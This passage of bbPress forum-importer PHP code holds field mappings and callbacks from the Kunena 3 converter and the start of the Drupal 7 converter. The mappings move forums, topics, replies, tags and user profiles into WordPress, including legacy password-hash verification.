		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'category_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'last_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'last_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'last_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open or Closed, Kunena v3.x 0=open & 1=closed)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'locked',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * Kunena v3.x Forums do not support topic tags out of the box
		 */

		/** Reply Section ******************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'catid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_messages',
			'from_fieldname' => 'ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'userid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		// Note: We join the 'kunena_messages_text' table because 'kunena_messages' table does not include reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages_text',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'kunena_messages',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_messages_text.mesid = kunena_messages.id LEFT JOIN jos_kunena_topics AS kunena_topics ON kunena_messages.thread = kunena_topics.id WHERE kunena_messages.parent != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		//Note: We are importing the Joomla User details and the Kunena v3.x user profile details.

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
//		$this->field_map[] = array(
//			'from_tablename' => 'users',
//			'from_fieldname' => 'salt',
//			'to_type'        => 'user',
//			'to_fieldname'   => ''
//		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'users',
			'to_fieldname' => '_bbp_class',
			'default'      => 'Kunena3'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'websiteurl',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'registerDate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'aim',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'yim',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_yim'
		);

		// Store Google Tak (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'gtalk',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_jabber'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'icq',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_icq'
		);

		// Store MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'msn',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_msn'
		);

		// Store Skype (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'skype',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_skype'
		);

		// Store Twitter (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'twitter',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_twitter'
		);

		// Store Facebook (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'facebook',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_facebook'
		);

		// Store myspace (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'myspace',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_myspace'
		);

		// Store linkedin (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'linkedin',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_linkedin'
		);

		// Store delicious (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'delicious',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_delicious'
		);

		// Store friendfeed (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'friendfeed',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_friendfeed'
		);

		// Store digg (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'digg',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_digg'
		);

		// Store blogspot (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'blogspot',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_blogspot'
		);

		// Store flickr (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'flickr',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_flickr'
		);

		// Store bebo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'bebo',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_bebo'
		);

		// Store websitename (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'websitename',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_websitename'
		);

		// Store location (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'location',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_location'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_users',
			'from_fieldname'  => 'signature',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_users.userid = users.id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_kunena3_user_sig',
			'callback_method' => 'callback_html'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from Kunena v3.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v3.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == 0 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the forum status from Kunena v3.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v3.x numeric forum status
	 * @return string WordPress safe
	 */
	public function callback_forum_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'open';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from Kunena v3.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v3.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count Kunena v3.x topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/Drupal7.php000066600000046065151771460310013707 0ustar00<?php

/**
 * bbPress Drupal7 Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Drupal v7.x Forum converter.
 *
 * @since 2.5.0 bbPress (r5138)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/drupal
 */
class Drupal7 extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'taxonomy_term_data',
			'from_fieldname' => 'tid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'taxonomy_term_hierarchy',
			'from_fieldname'  => 'parent',
			'join_tablename'  => 'taxonomy_term_data',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid)',
			'from_expression' => 'LEFT JOIN taxonomy_vocabulary AS taxonomy_vocabulary USING (vid) WHERE module = "forum"',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'taxonomy_term_data',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'taxonomy_term_data',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'taxonomy_term_data',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'taxonomy_term_data',
			'from_fieldname' => 'weight',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum_index',
			'from_fieldname' => 'nid',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'comment_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'comment_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'tid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		// Note: We join the 'node' table because 'forum_index' table does not include author id.
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'uid',
			'join_tablename'  => 'forum_index',
			'join_type'       => 'INNER',
			'join_expression' => 'ON node.nid = forum_index.nid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'to_type'      => 'topic',
			'to_fieldname' => '_bbp_old_topic_author_name_id',
			'default'      => 'Anonymous'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'uid',
			'join_tablename'  => 'forum_index',
			'join_type'       => 'INNER',
			'join_expression' => 'ON node.nid = forum_index.nid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic content.
		// Note: We join the 'field_data_body' table because 'node' or 'forum_index' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'field_data_body',
			'from_fieldname'  => 'body_value',
			'join_tablename'  => 'node',
			'join_type'       => 'INNER',
			'join_expression' => 'ON field_data_body.revision_id = node.vid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'forum_index',
			'from_fieldname' => 'title',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'tid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic status (Publish or Unpublished, Drupal v7.x publish = 1, pending = 0)
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'status',
			'join_tablename'  => 'forum_index',
			'join_type'       => 'INNER',
			'join_expression' => 'ON node.nid = forum_index.nid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_status',
			'callback_method' => 'callback_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'created',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'created',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'last_comment_timestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'last_comment_timestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_index',
			'from_fieldname'  => 'last_comment_timestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Drupal v7.x Comments Enabled no = 0, closed = 1 & open = 2)
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'comment',
			'join_tablename'  => 'forum_index',
			'join_type'       => 'INNER',
			'join_expression' => 'ON node.nid = forum_index.nid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'field_data_field_tags',
			'from_fieldname'  => 'entity_id',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Taxonomy ID.
		$this->field_map[] = array(
			'from_tablename'  => 'field_data_field_tags',
			'from_fieldname'  => 'field_tags_tid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'taxonomy'
		);

		// Term name.
		$this->field_map[] = array(
			'from_tablename'  => 'taxonomy_term_data',
			'from_fieldname'  => 'name',
			'join_tablename'  => 'field_data_field_tags',
			'join_type'       => 'INNER',
			'join_expression' => 'ON field_tags_tid = taxonomy_term_data.tid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		// Term slug.
		$this->field_map[] = array(
			'from_tablename'  => 'taxonomy_term_data',
			'from_fieldname'  => 'name',
			'join_tablename'  => 'field_data_field_tags',
			'join_type'       => 'INNER',
			'join_expression' => 'ON field_tags_tid = taxonomy_term_data.tid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'slug',
			'callback_method' => 'callback_slug'
		);

		// Term description.
		$this->field_map[] = array(
			'from_tablename'  => 'taxonomy_term_data',
			'from_fieldname'  => 'description',
			'join_tablename'  => 'field_data_field_tags',
			'join_type'       => 'INNER',
			'join_expression' => 'ON field_tags_tid = taxonomy_term_data.tid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'description'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'comment',
			'from_fieldname' => 'cid',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'nid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'nid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply parent reply id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'pid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_to_id'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'comment',
			'from_fieldname' => 'hostname',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'uid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply status (Publish or Unpublished, Drupal v7.x publish = 1, pending = 0)
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'status',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_status',
			'callback_method' => 'callback_status'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename' => 'comment',
			'from_fieldname' => 'name',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous  (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'uid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		// Note: We join the 'field_data_comment_body' table because 'comment' table does not include reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'field_data_comment_body',
			'from_fieldname'  => 'comment_body_value',
			'join_tablename'  => 'comment',
			'join_type'       => 'INNER',
			'join_expression' => 'ON field_data_comment_body.entity_id = comment.cid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'nid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'created',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'created',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'changed',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'comment',
			'from_fieldname'  => 'changed',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		// Don't import user uid = 0, this is Drupal 7's guest user
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'uid',
			'from_expression' => 'WHERE uid != 0',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'pass',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password'
//			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'pass',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'users',
			'to_fieldname' => '_bbp_class',
			'default'      => 'Drupal7'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'name',
